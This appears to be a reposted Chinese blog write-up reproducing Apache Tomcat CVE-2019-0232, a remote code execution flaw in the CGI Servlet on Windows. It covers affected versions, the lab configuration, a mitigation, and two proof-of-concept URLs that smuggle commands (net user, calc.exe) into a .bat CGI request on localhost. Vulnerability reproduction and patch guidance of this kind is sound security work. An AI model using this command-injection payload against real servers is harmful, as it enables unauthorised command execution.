Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

漏洞概述:

Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对ServletJavaServer PageJSP)的支持。

411日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件:

1. 系统为Windows

2. 启用了CGI Servlet(默认为关闭)

3. 启用了enableCmdLineArgumentsTomcat 9.0.*及官方未来发布版本默认为关闭)

影响范围:

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

漏洞复现过程:

使用环境:

Windows10 omcat8.5jdk1.8chrome

复现

1、 打开Tomcat安装目录的apache-tomcat-8.5.39confweb.xml修改如下配置,在默认情况下配置是注释的。

2同时还要修改web.xml以下配置,否则访问cgi目录会提示404

 

3、 打开Tomcat安装目录的apache-tomcat-8.5.39confcontext.xml修改如下配置,添加privileged="true"

 

4、 apache-tomcat-8.5.39webappsROOTWEB-INF目录新建一个cgi-bin文件夹,创建一个hello.bat的文件,内容如下:

 

 

漏洞利用:

Poc如下:

http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

 

解决方案:

Apache官方还未正式发布以上最新版本,受影响的用户请保持关注,在官方更新后尽快升级进行防护。与此同时,用户可以将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。

Tomcat安装路径的conf文件夹下,使用编辑器打开web.xml,找到enableCmdLineArguments参数部分,添加如下配置:

 

重启Tomcat服务,以确保配置生效。

 

复现出现的问题:

1.启动tomcat遇到的问题

 出现上述问题,是由于未配置java的JAVA_HOME和JRE_HOME环境变量。

 

原文地址:https://www.cnblogs.com/coolguo/p/14216136.html